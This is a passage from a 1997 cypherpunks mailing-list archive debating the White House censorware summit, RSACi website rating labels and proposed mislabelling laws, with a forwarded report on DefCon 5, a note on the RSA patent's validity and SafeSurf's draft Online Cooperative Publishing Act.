liberties the "game" is over  -- soon followed by "politics by other
means".

Our participation as citizens of this country is governed by contract. 
That contract is the constitution.  This is no game.  Either the employees
adhere to the tenets of that contract or the employers will fire them for
non-performance. 

Simple as that.

Jim Burnes
jim.burnes@ssds.com









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 17 Jul 1997 02:55:49 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <Pine.GSO.3.95.970716074445.15247G-100000@well.com>
Message-ID: <3.0.2.32.19970716110343.00729aac@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:44 AM 7/16/97 -0700, Declan McCullagh wrote:
>        Stephen Balkam, the head of RSACi, now says he has a solution. He
>   calls it RSACnews and says that legitimate news sites can use it to
>   rate just their home pages without having to review each article. Now,
>   what's a legitimate news site? The Netly News might qualify, but what
>   about the NAMBLA News Journal? "People who generate firsthand reports
>   that have been in some ways verified or structured in a way that gives
>   clear and objective information as possible about events," Balkam
>   says. "We will be working with the news industry to help us develop a
>   criteria." (This, presumably, means groups that have signed on as
>   supporters, including MSNBC, the Wall Street Journal, the Well, CNET 
>   and Ziff-Davis. I'm told that the White House wants to qualify as a 
>   "news site" -- even though the information there is rarely clear and
>   certainly not objective.)

I can't remember how RSACi authenticates the tags. I assume they are either
signed by a CA or not authenticated.

1) If the tags are signed by a CA.
Who operates the root CA? Who will operate the CA that issues RSACnews
tags, also knows as Online Publishing Licenses.?

2) If the tags are not signed by a CA.
What is someone to prevent from labeling the NAMBLA monthly site,
"government authorized news site, suitable for all ages"? Just as the
various GAK proposals do not make sense unless GAK is mandatory, online
rating systems do not make sense unless "misslabeling" sites will become a
felony.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 03:07:34 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <3.0.2.32.19970716110343.00729aac@netcom10.netcom.com>
Message-ID: <Pine.GSO.3.95.970716111552.13849C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



As for Lucky's point #2 -- Yes, I've read drafts of bills that would make
it a Federal crime to misrate. --Declan

On Wed, 16 Jul 1997, Lucky Green wrote:

> At 07:44 AM 7/16/97 -0700, Declan McCullagh wrote:
> >        Stephen Balkam, the head of RSACi, now says he has a solution. He
> >   calls it RSACnews and says that legitimate news sites can use it to
> >   rate just their home pages without having to review each article. Now,
> >   what's a legitimate news site? The Netly News might qualify, but what
> >   about the NAMBLA News Journal? "People who generate firsthand reports
> >   that have been in some ways verified or structured in a way that gives
> >   clear and objective information as possible about events," Balkam
> >   says. "We will be working with the news industry to help us develop a
> >   criteria." (This, presumably, means groups that have signed on as
> >   supporters, including MSNBC, the Wall Street Journal, the Well, CNET 
> >   and Ziff-Davis. I'm told that the White House wants to qualify as a 
> >   "news site" -- even though the information there is rarely clear and
> >   certainly not objective.)
> 
> I can't remember how RSACi authenticates the tags. I assume they are either
> signed by a CA or not authenticated.
> 
> 1) If the tags are signed by a CA.
> Who operates the root CA? Who will operate the CA that issues RSACnews
> tags, also knows as Online Publishing Licenses.?
> 
> 2) If the tags are not signed by a CA.
> What is someone to prevent from labeling the NAMBLA monthly site,
> "government authorized news site, suitable for all ages"? Just as the
> various GAK proposals do not make sense unless GAK is mandatory, online
> rating systems do not make sense unless "misslabeling" sites will become a
> felony.
> 
> 
> --Lucky Green <shamrock@netcom.com>
>   PGP encrypted mail preferred.
>   DES is dead! Please join in breaking RC5-56.
>   http://rc5.distributed.net/
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Thu, 17 Jul 1997 03:55:37 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: SPA statement and RSAC release
In-Reply-To: <Pine.GSO.3.95.970716081725.15247P-100000@well.com>
Message-ID: <v03102802aff2c85cb70b@[207.67.207.179]>
MIME-Version: 1.0
Content-Type: text/plain



A press release forwarded by Declan wrote:
>  "Understanding its responsibility, the software industry several years ago
>helped establish a process of self-regulation and content ratings through the
>Recreational Software Advisory Council (RSAC).  Today, RSAC, through its
>Internet ratings system -- RSACi -- has assigned objective content labels to
>more than 35,000 online sites in just 12 months.

I just read yesterday in the WEBONOMICS STORIES Newsletter:

> The first sentence in WEBONOMICS is: "New sites on the World Wide Web
> have been cropping up at the rate of one per minute." I'm pleased to
> report that this furious pace has continued -- almost exactly. Network
> Solutions Inc., the Virginia-based company that registers domain name
> addresses for U.S. Web sites, says that it had registered a total of
> 818,000 addresses by March 1997, up from 246,000 a year earlier. That's
> 572,000 new Web sites in a year, or 1,567 per day, or 65 per hour, or
> 1.08 per minute!


Taking these two statements together, the RSACi people have managed,
in the last 12 months, to rate just over 6% of the _new_ web sites in
the last year.

-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 17 Jul 1997 00:28:04 +0800
To: cypherpunks@toad.com
Subject: If You Build It, They Will Con (fwd)
Message-ID: <Pine.SUN.3.96.970716121321.6748A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



---------- Forwarded message ----------
Date: Wed, 16 Jul 1997 11:09:05 -0400
From: "Anthony F. Navarro" <anavarro@inch.com>
Subject: If You Build It, They Will Con

>From the Netly News  -Anthony
         
             July 15, 1997

 If You Build It, They Will Con 

  by Declan McCullagh 
        

     Perhaps the thinking behind DefCon went something like this: Lure
hundreds of hackers to Las Vegas in the middle of the summer, ply them with
cheap beer, talk about packet sniffing, and observe. Last year the result
was self-organizing chaos, capped by an event where the hired strippers
were upstaged by a band of exhibitionist conferencegoers. "The pimp was
like, 'Oh my God,'" says Dark Tangent, DefCon's organizer. 

     Last weekend's fifth annual DefCon may have been a little less
raucous, but it was no less important as a place where hackers from around
the world gather to socialize, gamble -- and glance around furtively trying
to spot the government agents who infiltrate the convention. (Bonus: If you
guess correctly, you can take a prized "I Spotted the Fed" T-shirt home
with you.) 

     Naturally, DefCon has always been populated with a slew of specialized
talks on "Hacking Novell Netware" and uses of "embedded microcontroller
applications." But this year, speakers such as Richard Thieme spoke of
finer points: For instance, how hackers should avoid merely imitating their
predecessors' exploits. Instead, they should learn the intricacies of
computer systems themselves. "This is really functioning as a call to
excellence," Thieme says. Then there was Carolyn Meinel, who maintains the
"Happy Hacker" mailing list. "You don't need to break the law to be a
hacker," she told me. 

     Maybe not, but the DefCon crowd -- mostly teenagers and
twentysomethings -- wasn't listening. Some tried to pass counterfeit $20
bills when registering. ("We'll beat your ass," Dark Tangent warned
afterward.) Others tried to snatch the DefCon banner from the convention
hall. By the time the conference began, the hotel's antiquated phone system
had been penetrated and instructions distributed on how to call long
distance for free. The hotel's radio frequencies quickly appeared on the
DefCon mailing list. On Friday evening, security guards booted two revelers
after a hallway skirmish led to blows. And someone was carrying around a
door to a GTE truck -- I never found out why. 

     All of which might explain Las Vegas's growing reluctance to host the
event. Dark Tangent says the convention has become virtually blackballed.
"You're dicked. There's no place to go," he says. This year, Dark Tangent
had to rename the convention "DC Communications" and take out $1 million in
liability insurance. He also moved the conference to the Aladdin, a
ramshackle hotel -- complete with faded purple carpets and cheesy lounge
singers -- that seems the only venue now willing to risk hosting DefCon. 

     Still, the Aladdin seemed a choice venue for Winn Schwartau, the
"InfoWar" crooner whom many hackers love to hate. He showed up to host two
rounds of Hacker Jeopardy. Teams of digerati took turns heckling Schwartau
and competing in categories such as National Security for $300: "A: The two
possible meanings of DOS. Q: What are Denial of Service or Disk Operating
System?" Or, "A: The assistant director of the FBI who handled the TWA
investigation and was behind the Clipper Chip. Q: Who is James Kallstrom?" 

     Bruce Schneier, author of "Applied Cryptography" (and the star of his
Hacker Jeopardy team), spoke on Saturday about "Why Cryptography Is Harder
Than It Looks." He warned of overconfidence when designing a cryptosystem:
"The math is perfect. The computers are bad. The networks hideous. The
people worse." Says Schneier, "We need to recognize the limits of the
possible." 

    Sameer Parekh, president of C2Net, spoke the next day about offshore
crypto-development: "We export jobs, not crypto." Jobs seemed to be what
many in the crowd were looking for. As one generation of hackers gives way
to another, a new batch of self-anointed "security consultants" appears on
the scene. Of course, there are never enough scouts in attendance to hire
them all. 

     Dejected, and unable to hack more than the hotel PBX, some found
solace in the seamier side of Las Vegas. I saw a note inviting everyone to
a "StripperCon" that was being held down the street at the Tropicana Hotel
on Saturday night. I went gambling instead. 

     Short $75, I wondered whether next year's DefCon would be worth
attending -- that is, if it happens at all. But surely there will be a
DefCon 6, and since Internet Underground has gone to pasture, who else will
there be to cover it? So I poured another shot, dialed 9# on the wall phone
and placed a long distance call to the editor. On the house.             

| The Netly News | Afternoon Line | Bootcamp | This Old PC | Walter Miller
| Alt.Culture | Digital Sandbox | Archive |    

          





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 17 Jul 1997 04:29:26 +0800
To: cryptography@c2.net
Subject: Attorneys: RSA patent invalid
Message-ID: <Pine.3.89.9707161252.A12693-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



In a just published article in CyberLaw, patent attorneys Patrick Flinn 
and James Jordan rise serious questions about the validity of the RSA 
patent in the US. The authors conclude:

> Due largely to luck, bluster, and the naiveti of potential competitors, 
the owner of United States Patent No. 4,405,829 has enjoyed a virtual 
monopoly on all uses of the RSA Algorithm. However, a careful scrutiny of 
the RSA Patent claims, and other details of its disclosure and 
prosecution, reveal both significant limits to the scope of the patent 
and material questions regarding its validity.

The full article can be found at http://www.cyberlaw.com/rsa.html


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Peterson <fnorky@geocities.com>
Date: Thu, 17 Jul 1997 05:03:00 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <3.0.2.32.19970716110343.00729aac@netcom10.netcom.com>
Message-ID: <33CD2180.3F90@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
> 
> At 07:44 AM 7/16/97 -0700, Declan McCullagh wrote:
> >        Stephen Balkam, the head of RSACi, now says he has a solution. He
> >   calls it RSACnews and says that legitimate news sites can use it to
> >   rate just their home pages without having to review each article. Now,
> >   what's a legitimate news site? The Netly News might qualify, but what
> >   about the NAMBLA News Journal? "People who generate firsthand reports
> >   that have been in some ways verified or structured in a way that gives
> >   clear and objective information as possible about events," Balkam
> >   says. "We will be working with the news industry to help us develop a
> >   criteria." (This, presumably, means groups that have signed on as
> >   supporters, including MSNBC, the Wall Street Journal, the Well, CNET
> >   and Ziff-Davis. I'm told that the White House wants to qualify as a
> >   "news site" -- even though the information there is rarely clear and
> >   certainly not objective.)
> 
> I can't remember how RSACi authenticates the tags. I assume they are either
> signed by a CA or not authenticated.
> 
> 1) If the tags are signed by a CA.
> Who operates the root CA? Who will operate the CA that issues RSACnews
> tags, also knows as Online Publishing Licenses.?
> 
> 2) If the tags are not signed by a CA.
> What is someone to prevent from labeling the NAMBLA monthly site,
> "government authorized news site, suitable for all ages"? Just as the
> various GAK proposals do not make sense unless GAK is mandatory, online
> rating systems do not make sense unless "misslabeling" sites will become a
> felony.

Ok, lets say it becomes a US felony to "misslabel" a web site.  How does
that prevent a person in the US from setting up a misslabeled or unlabed
site on a server in another country?  Also, what about person who sets
up
a site that is misslabeled on a server in the US.  Do the feds try to
extridite the person?

I think that we will find that labeling web sites is less workable than
GAK.

Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 17 Jul 1997 03:17:44 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <Pine.GSO.3.95.970716074445.15247G-100000@well.com>
Message-ID: <3.0.2.32.19970716134544.0363819c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 07:44 AM 7/16/97 -0700, Declan McCullagh wrote:
>
>        Stephen Balkam, the head of RSACi, now says he has a solution. He
>   calls it RSACnews and says that legitimate news sites can use it to
>   rate just their home pages without having to review each article. Now,
>   what's a legitimate news site? The Netly News might qualify, but what
>   about the NAMBLA News Journal? "People who generate firsthand reports
>   that have been in some ways verified or structured in a way that gives
>   clear and objective information as possible about events," Balkam
>   says. "We will be working with the news industry to help us develop a
>   criteria." (This, presumably, means groups that have signed on as
>   supporters, including MSNBC, the Wall Street Journal, the Well, CNET 
>   and Ziff-Davis. I'm told that the White House wants to qualify as a 
>   "news site" -- even though the information there is rarely clear and
>   certainly not objective.)

I hope they'll be including Ian Goddard's site with all its TWA 800 info
and reporting of other government activities. 
(http://www.erols.com/igoddard/journal.htm)

After all, he was credited as a reporter by Paris Match for his work with 
Pierre prior to the famous press conference last year.

They wouldn't be contemplating licensing of journalists, would they.

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 05:17:37 +0800
To: cypherpunks@toad.com
Subject: Censorware empowerment meeting (was satire)
Message-ID: <Pine.GSO.3.95.970716134631.18879A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Since I seem to have been misunderstood on at least two lists now, let me
forward this. --Declan

---------- Forwarded message ----------
Date: Wed, 16 Jul 1997 12:45:25 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: Lizard <lizard@dnai.com>
Cc: Glenn Hauman <hauman@bb.com>, Seth Finkelstein <sethf@MIT.EDU>,
    jseiger@cdt.org, jberman@cdt.org, fight-censorship@vorlon.mit.edu
Subject: Re: White House "kinder, gentler"-CDA/censor empowerment  meeting

Lizard has it right. My post was meant to be satire.

I should have been more clear. In fact, a good friend of mine sent me this
message: 

> Declan, remember how I promised you I'd let you know as soon as I
> thought you'd been in Washington too long, so that you wouldn't turn
> into a beltway hack?
>
> This is the red flag. Get out.

Apologies to all.

In the future I will label all satiric posts as -L18, meaning those who
are under 18 will probably not get the joke. By labeling my posts in this
manner, I can ensure that they will be indexed up by search engines that
will in the future only index properly-labeled pages. I can also ensure
that users of Internet Explorer will remain able to read my scribbings,
since the next version of IE is going to ship with RSACi turned on as a
default. 

I will thus do my part to ensure a childsafe cyberspace, free from
inappropriate material and bad jokes of all kinds.

-Declan


On Wed, 16 Jul 1997, Lizard wrote:

> Um...I think Declan was being humorously sarcastic. (What was that thread a
> few days ago about how irony doesn't work?) What's frightening is that his
> sarcasm comes perilously close -- some might say overlaps -- posts made in
> all apparent sincerity by others.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Thu, 17 Jul 1997 03:36:00 +0800
To: Declan McCullagh <cypherpunks@Algebra.COM
Subject: Re: White House "kinder, gentler"-CDA/censor empowerment meeting
In-Reply-To: <Pine.GSO.3.95.970716080230.15247L-100000@well.com>
Message-ID: <3.0.1.32.19970716135354.00ae5210@labg30>
MIME-Version: 1.0
Content-Type: text/plain



At 08:03 AM 7/16/97 -0700, you wrote:
>I can only conclude that because Mr. Finkelstein does not live inside the
>Beltway, we cannot expect him to realize that it is always necessary to
>remain players in the game -- even if it means giving up fundamental
>liberties in the process. 

Declan,

I think you made a phrasing error here.  Perhaps you meant to say that you
think it, "prudent to hold your tongue when speaking to the White House if
you want a gold-engraved invitation back."  To some people, it read like
you were saying "give up fundamental liberties to free speech in order to
'protect the children.'"  

Either way, there's not much difference there:  political speech MUST
remain the 'most protected of all', and if someone is afraid of speaking
their mind during a debate, then we've all lost.

However, I think you've missed the ACLU point of NOT "playing the game".
They're not trying to get on (or stay on) the short invitation list to
whatever dog-n-pony show the White House trots out next.  Their concern is
for the Constitution, that it be followed BY EVERYONE, and that it doesn't
get trampled completely by bad laws written by ignorant lawmakers.  When
the ACLU was not "invited" to a meeting where the entire purpose seems be
that of passing another bad law to circumvent the first amendment without
pissing off the same ACLU, don't you agree that perhaps the White House
made a tactical error?

IMHO, the ACLU should be a part of the lawmaking *process*.  Rather than
passing bad laws and checking for their constitutionality on the back end
by people desperate enough to gamble on the outcome of a long, expensive
legal process, I think we'd all be a lot better off checking for
constituonal laws before we pass them at all.  According to the
Constitution, that's the President's job (it's what he said when he took
the oath), but we all know that he only sees his job to be that of "the
biggest congressman of all, gotta follow the polls of the whole nation."

Perhaps the "three strikes and you're out" rule could apply to Congress:
if you vote for three laws that are overturned by the Supreme Court as
unconstitutional, you go to jail for 25 years to life, no parole.  Debate
the new laws all you want, but when it comes down to casting your vote,
you'd better be certain you're not violating the Constitution.  

We need more accountability on the front end of the legal process, because
the average among us can't afford to gamble on the back end.

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
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| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 17 Jul 1997 04:14:38 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <Pine.GSO.3.95.970716111552.13849C-100000@well.com>
Message-ID: <199707161913.OAA25443@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



X-Mailer: MR/2 Internet Cruiser Edition for OS/2 v1.29i b27 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 05:24:11 +0800
To: cypherpunks@toad.com
Subject: Censorware Summit Take II, from The Netly News
Message-ID: <Pine.GSO.3.95.970716140549.18879C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



***********

http://pathfinder.com/netly/opinion/0,1042,1173,00.html

The Netly News (http://netlynews.com)
July 16, 1997

At The Censorware Summit
by Declan McCullagh (declan@well.com)

     If you host a web page or publish online, be
warned: soon your site might become invisible. Search
engines won't index it and web browsers won't show it.
Unless, that is, you agree to attach special labels to
your web pages identifying how violent, sexually
explicit, or inappropriate for kids your site is.

     This was the thrust of today's White House
censorware summit, where President Clinton sat down
with high tech firms and non-profit groups in a
private meeting to talk about pressuring the Net
community to make cyberspace childsafe through labels.
"We need to encourage every Internet site, whether or
not it has material harmful to minors, to rate its
contents," Clinton said after the meeting. Vice
President Gore was there, too, giving a quick
demonstration of how labeling works.

     Spooked by the threat of a revised Communications
Decency Act, high tech firms are seriously backing
labels for the first time. Joining Clinton in coercing
Internet users and businesses to label all their web
pages were Yahoo, Excite, and Lycos. "I threw a
gauntlet to other search engines in today's meeting
saying that collectively we should require a rating
before we index pages," Robert Davis, the president of
Lycos, told me. Translation: if you don't play ball,
and label your site, search engines will ignore you.

     As will future users of Microsoft's Internet
Explorer browser. The next version of IE will default
to displaying only properly labeled web pages,
according to Ken Wasch, the president of the Software
Publishers Association. Since many users won't turn
off that feature to reach unrated sites, many large
web sites now are facing hefty pressure to self-label.

     Other high tech firms rushed to join the
presidential limelight. Netscape promised to join
Microsoft and include label-reading software in the
next version of its browser. America Online's Steve
Case thanked Clinton for "backing industry's efforts
to make cyberspace a safer place." IBM announced a
$100,000 grant to RSACi, a PICS-based rating standard
originally designed for video games but adapted for
the Web. The industry giant also pledges to
incorporate RSACi into future products.

[...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Thu, 17 Jul 1997 03:52:33 +0800
To: cypherpunks@Algebra.COM
Subject: "The Failure to Do Your Job" amendment (was Re: White House ...)
Message-ID: <3.0.1.32.19970716141513.00ae82f0@labg30>
MIME-Version: 1.0
Content-Type: text/plain



Please forgive me for following up to my own posting, but I just realized
how close I was to a solution:

A Constitutional amendment that would call for the impeachment of the
President for failing to veto any three bills that are overturned by the
Supreme Court on Constitutional grounds.

Call it "The Failure to Do Your Job" amendment, or the "For Violating Your
Oath" amendment.  Maybe include a clause that stipulates the ex-President
must also return any salary earned during his or her tenure.

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad@dsddhc.com (work)   mailto:jad@pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Peterson <fnorky@geocities.com>
Date: Thu, 17 Jul 1997 05:22:05 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: White House "kinder, gentler"-CDA/censor empowerment meeting
In-Reply-To: <Pine.GSO.3.95.970716080230.15247L-100000@well.com>
Message-ID: <33CD2D13.1F38@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> 
> ---------- Forwarded message ----------
> Date: Wed, 16 Jul 1997 00:23:08 -0700 (PDT)
> From: Declan McCullagh <declan@well.com>
> To: Seth Finkelstein <sethf@MIT.EDU>
> Cc: jseiger@cdt.org, jberman@cdt.org, fight-censorship@vorlon.mit.edu
> Subject: Re: White House "kinder, gentler"-CDA/censor empowerment meeting
> 
> Below we see an excellent example of the naivete inherent in
> Net-libertarian and cypherpunk writing. Obviously the writer does not
> understand the complexities and challenges of Washington politics. In many
> ways, it is like sausage being made: disgusting to watch, but a process
> that results in the compromises so vital in a healthy democracy.
> 
> Which is why it is inappropriate to criticize the White House's position
> on the CDA. If you speak your mind aloud, you run the risk of being
> marginalized like the ACLU. How can you serve your constituents then?
> Obviously, you can't. So I respectfully suggest that Mr. Finkelstein
> disabuse himself of radical notions like opposing regulation of the
> Internet.
> 
> I can only conclude that because Mr. Finkelstein does not live inside the
> Beltway, we cannot expect him to realize that it is always necessary to
> remain players in the game -- even if it means giving up fundamental
> liberties in the process.
> 
> -Declan
Why?  Why does Mr. Finkelstein need to play be Washington's "game"
rules?
I understand why you need to play by the rules.  As a Washington insider
you are between a rock and a hard place.  If you step outside the rules,
you loose your connections, your influince, and you livelyhood.  (No I
do
not consider being an insider to be bad.  I apreciate the flow of news
that
we might not otherwise get).

For those of us who are outside of the "game" (by choice or otherwise)
it does not make since to play.  Nobody in Washington listens to us (or
that is the way it seems).  To give up those fundamental liberties
simply
hurts us.  Insted we change the system by playing outside of the "game"
(such as writting strong crypto code and giving it away before
Washington
makes that illegal).

-Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 06:04:20 +0800
To: cypherpunks@toad.com
Subject: Rep. Rick White on White House censorware summit (fwd)
Message-ID: <Pine.GSO.3.95.970716143224.4823B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Wed, 16 Jul 1997 14:32:17 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Rep. Rick White on White House censorware summit


FOR IMMEDIATE RELEASE        CONTACT: Connie Correll
July 16, 1997               (202) 225-1201 (O)/ (202) 237-2136 (H)
							    e-mail: connie.correll@mail.house.gov

WHITE ATTENDS WHITE HOUSE CONFERENCE
QUESTIONS GOVERNMENT SOLUTION

(Washington, D.C.)  --  Congressman Rick White (R-First District) today
made clear his desire to protect kids who use the Internet but expressed
concern that the federal government can solve the problem.  White's
remarks were made during his participation in a closed meeting at the
White House that focused on making the Internet family friendly.

"I have four children who love to use the Net and there is no question
we need to protect our kids from harmful material on the Internet.
Today's meeting was a step in the right direction," said White.  "But as
we evaluate the next step we need to make sure we don't lure ourselves
into a false sense of security.  No matter what we do in the United
States it won't affect sites developed in Amsterdam or Bangkok.  That's
why I'm skeptical that the federal government can solve this problem.
The real solution will come from the smart people in the private
sector."

White today praised representatives of the software community, the
Administration as well as family and civil liberty groups for their
efforts to develop a comprehensive solution for a family friendly
Internet.  He encouraged the development of filtering software but
expressed concern that a government based solution would be too
restrictive and regulatory. 

White has long been a leader in keeping the Internet free from federal
regulation.  As a member of the select committee that developed the
final telecommunications reform bill last year, White offered a
compromise proposal to the CDA that would protect kids. The compromise
included a proposal, defeated by one vote, to replace the "indecency"
standard with the "harmful to minors" standard. Other provisions of
White's compromise became part of the final bill. Those provisions
included: 1) developing strong, effective laws that target wrongdoers;
2) using parental empowerment software to screen material; and 3)
providing incentives for industry to develop new screening technologies.

In March of 1996 White formed the Congressional Internet Caucus (IC) to
help educate Members of Congress about the Internet. White believes
through the work of the Internet Caucus and with the help of the
Internet community, Capitol Hill has gained a better understanding of
the Internet.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 06:21:46 +0800
To: cypherpunks@toad.com
Subject: The Real Plan: Making the Net Safe for Censorship
Message-ID: <Pine.GSO.3.95.970716144140.4823C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Wed, 16 Jul 1997 14:16:47 -0500
From: Marc Rotenberg <rotenberg@epic.org>
To: fight-censorship@vorlon.mit.edu
Subject: The Real Plan: Making the Net Safe for Censorship


Here is an example of a proposal being presented
at the White House today.

The minds boggles at the number of unconstitutional
provisions contained in such a brief text.

Never has a freedom won in a Supreme Court decision
been given up so quickly.

Marc Rotenberg
EPIC.

----------

http://www.safesurf.com/online.htm

The Online Cooperative Publishing Act
                                     (SafeSurf's Proposal for a Safe
Internet Without Censorship)


       Any law that seeks to regulate the Internet must first recognize the
uniqueness of the medium.  The Internet is not the print media or the
       broadcast industry.  It is also not another form of phone
conversation or a 900 number calling system.  Instead, the Internet is the
       manifestation of humankind's quest for limitless two-way interaction
with thought.  The hyper-text layout allows us to change topics on
       a whim, travel to distance places, or gather world opinion on a
subject in a matter of minutes. 

       This distinctive nature of the Internet must be protected and even
promoted by any legislation that claims to be fair to this medium.  The
       interaction between the one receiving data and the one publishing it
are where the core of the law should focus.  Both sides have rights,
       the publisher has the First Amendment and the receiver has the right
to be secure from harm in his home.  Proper Internet law should
       encourage a cooperative transfer of ideas in the form of data.  (It
should be noted that it was the universal acceptance of basic rules of
       cooperation, rather than anarchy, that built the Internet. )

       Any law that attempts to give one side or the other is given an
unreasonable burden in conducting the transfer of data is doomed to
       failure.  The CDA was too burdensome on the publisher.  Its goal was
to stop the flow of data, rather than to regulate it for the benefit
       of all parties. 

       On the other hand, without a proper law, parents can purchase and
activate measures to protect their children from adult material and still
       not feel secure in their homes from unwanted material.  This is
because negligent publishing of data eventually allows material that can
       harm the child to enter the home.  Once this material is experienced
by the child, its damage is done.  There is no "oops" factor, no way
       to undo the unwanted intrusion into a child's innocence. 

       Most importantly, any Internet law must not censor thought.  It may
regulate the labeling on the packaging but never the content. 

       With the goal of achieving a greater spirit of cooperation between
the publisher and the receiver of online data, we propose the Online
       Cooperative Publishing Act. 

       It shall contain the following provisions:

       1.      The right to be able to identify the adult rating of online
content before it enters one's home shall be established.  This shall be a
       civil right giving the violated person or family the presumption in
a suit against negligent publishers.

       2.      Negligent publishing of data shall be defined as placing
adult oriented material on the Internet in such a way or in such a location
       that it prevents its rating from being known.

       3.      A rating shall be defined as a PICS compatible label that
identifies degrees of adult content in a way that can be understood by
       computer filtering systems and is issued by a ratings service that
has a minimum of 5,000 documented individuals using its system to
       mark their data.

       4.      A publisher is defined as anyone who places computer data
where it can be accessed by the general public without the use of a
       credit card or other secure verified ID or password given out only
to adults.  Content that can be only be accessed by the use credit cards
       or other secure verified IDs is not subject to this law.

       5.      The code used to surround content published on the Internet
shall be defined as packaging.  All government identification
       requirements shall be limited to the code of the packaging.  Nothing
in this law shall be construed to require any altering or censorship
       of the content.

       6.      Three types of online publishing shall be defined:

             a) Publishers who accurately identify their data with a
recognized labeling system. 

             These publishers shall be considered to have satisfied the
labeling requirement of the law.  The right to publish shall be
             completely protected for those who accurately label their
material.  They shall be protected from all civil suits that argue
             negligent posting of data.  Only grossly mislabeled material
can be prosecuted.  (Note: This is not a protection for
             obscene material.  This law will offer no protection for
obscene material.)

             b) Publishers who mislabel their data to the degree that it
enables a minor using a label filtering
             system to gain access to harmful material.

             Data shall be considered to be mislabeled if it is posted in a
newsgroup, directory or other joint area that has been labeled
             as free from material harmful to minors.  Tampering with
another's label shall be crime.

             These publishers may be criminally prosecuted for subverting a
rating system to entice children to harmful material.  The
             mislabeling must be to the extent that it is completely
unreasonable to accept it as accurate.  Only ratings that are too
             lenient can be prosecuted.

             Posting unlabeled adult material to an area that has declared
itself safe for children or tampering with another's label shall
             be a severe criminal assault on the rights of the receiver.

             Sending unsolicited email to a minor that contains
pornographic material or an invitation to a pornographic Web Site, shall
             be considered negligent enticement and may be criminally
prosecuted.  A bulk email service sending pornographic email
             must show that it took reasonable measures to insure that
every recipient was an adult.  (Example: The addresses used
             were from the membership list of Adult Check or other such
adult verification services.)

             c) Publishers who do not label their data at all.

             Negligence in the absence of damages shall not be a criminal
